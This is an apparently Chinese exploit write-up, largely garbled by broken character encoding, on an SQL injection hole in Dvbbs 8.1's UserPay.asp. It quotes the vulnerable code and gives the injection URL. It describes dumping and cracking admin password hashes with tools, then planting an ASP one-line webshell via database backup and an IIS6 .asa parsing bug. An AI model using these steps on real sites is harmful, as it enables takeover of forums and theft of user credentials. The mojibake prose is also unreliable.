8.1ע0Day©

[8.1ע0Day© ȫ]
Ӱ汾8.1
ٷվhttp://www.dvbbs.net
©ͣSQLע
©
©ֱӵעûõAdminû˺ż롣
©ڶ̳Ŀ¼UserPay.aspļУעû⹺һһżɹע©ҳ档ص룬ҵ©ԭUserPay.aspе©롣
 
If Request("raction")="alipay_return" Then
AliPay_Return()
Dvbbs.Footer()
Response.End
ElseIf Request("action")="alipay_return" Then
AliPay_Return()
Dvbbs.Footer()
Response.End
''ElseIf Request("action")="Re_inmoney" Then
''Re_inmoney()
''Dvbbs.Footer()
''Response.End
End If

ԻѿԿraction͡actionжǡalipay_returnִͬģǵAliPay_Return()ǼaliPay_return()ݣ329351ҵ˸úĴ롣
Sub AliPay_Return()
If Dvbbs.Forum_ChanSetting(5) <> "0" Then
AliPay_Return_Old()
Exit sub
Else
Dim Rs,Order_No,EnCodeStr,UserInMoney
Order_No=Request("out_trade_no")
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=3 And O_PayCode=''"&Order_No&"''")
If not(Rs.Eof And Rs.Bof) Then
AliPay_Return_Old()
Exit sub
End if
Response.Clear
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=0 And O_PayCode=''"&Order_No&"''")
If Rs.Eof And Rs.Bof Then
Response.Write "N"
Else
Response.Write "Y"
Dvbbs.Execute("Update Dv_ChanOrders Set O_IsSuc=3 Where O_ID = " & Rs("O_ID"))
End If
Response.End
End If
End Sub


жУIf Dvbbs.Forum_ChanSetting(5) <> "0"һ䣬˼Dvbbs.Forum_ChanSetting(5)0ִС<>൱Cġ!=ڵ˼Ǵݿ⣬ĬϵֵǶ١
1,1,0,0,pay@aspsky.net,0,b63uvb8nsvsmbsaxszgvdr6svyus0l4t,1,1,1,1,1,1,1,100,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Forum_ChanSetting(5)ȱʡΪ0ǿĴ롣
Order_No=Request("out_trade_no")
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=3 And O_PayCode=''"&Order_No&"''")
ֱ֣ᷢӽܻȡġOrder_Noݣûоκδ¿ͷ˵ģ©Dvbbs 8.0вڡ8.0AliPay_Return()Ĵ£
Sub AliPay_Return()
If Dvbbs.Forum_ChanSetting(5) <> "0" Then
AliPay_Return_Old()
Else
Response.Clear
Dim Rs,Order_No,EnCodeStr,UserInMoney
Order_No = Dvbbs.CheckStr(Request("order_no"))
Set Rs = Dvbbs.Execute("Select * From Dv_ChanOrders Where O_IsSuc=0 And O_PayCode = ''"&Order_No&"''")
If Rs.Eof And Rs.Bof Then
Response.Write "N"


ҿע⵽Order_No = Dvbbs.CheckStr(Request("order_no"))һ䣬CheckStr()ǶļǷַͨ顢˷ǷַﵽעĿġDVBBS8.1Уȴûһ䣡ѵ˵DVBBS8.1Ϊٶȣַȥ!?ͨ룬ǹͿԴ©http://IPaddress/userpay.asp?raction=alipay_return&out_trade_no=XXXXXXΪĶţˣ©뼰ԭˣǿʼʵ⡣
ڲԵǱؾڵһ̨IPΪ192.168.0.101˿8080ע޸adminǰ̨̨Ϊ920430ΪƽMD5㣬λЩעһûȻε->̳ȯٵ֧ťͼ1ʾֵ֮ҳᱨȻIISĴ֧ӿڵĴͼ2ʾرգվн׼¼ῴһĿһ.

URLhttp://www.sitedirsec.com:8080/userpay.asp?raction=alipay_return&out_trade_no=2008011317201363527b64cea5fύǷһĸYֱˢҳ󣬷ͼ4ʾĴȻǼӸţͼ5ʾˣãǿʼע롣
 

ҵĲԣƼʹNBSIвԣΪСӺHDSI޷½⣨Ҳԭ򣩡ʹʱһɨ費©ȻַǷټͿˡ½ⲻԼӡΪdv_admindv_userǰĄ̊́˺š룬ǰ̨еļ¼ֻܶ࣬Ҫǰ10͹ˣΪעģǹԱļʺܴ󡣣Ϊusernamepasswordid֮в½⣬MD5ƽ֤ͼ6ʾ
 

º̨֮󣬾͸ϴWebShellˡ򵥽һDVBBS 8.1ϴWebShellüݿ⡣ȵ¼̨޸ϴƴСͨһⶼҪĬϵ100Kعһݿname.mdbݿдnameڱнֶΡnameΪıִͣҿԶ壩ΪĬϡֶΡname롰<<%execute(request("name"))%>>˳޸ĺ׺Ϊtxt̳֮ϴname.txtǲʾϴļַģȻ󷢲⣨һҪɺǵ¼̨ļ->ϴļҵļַ硰../UploadFile/2008-1/200811319153335452.txtȱݿ⣬ĬϼɡȻ򿪻ָݿ⣨ע⣬һҪǰݿ⣬һҪݣվͱˣдղŵĵַݿݣĿ¼дname.asaٰѸղűݵݻָȥɡǵСַhttp://ipaddress/name.asa/name.mdbˣIIS6иBugǻļдasp׺asa׺ļASPִУ
ʱٷѾ˽©޲̨ϷϢʾڶվȻû޲©Լ90%©ӰأʹDVBBS8.1վץʱ޲ͬʱѹߣ©ΣأʹãҪǷ;

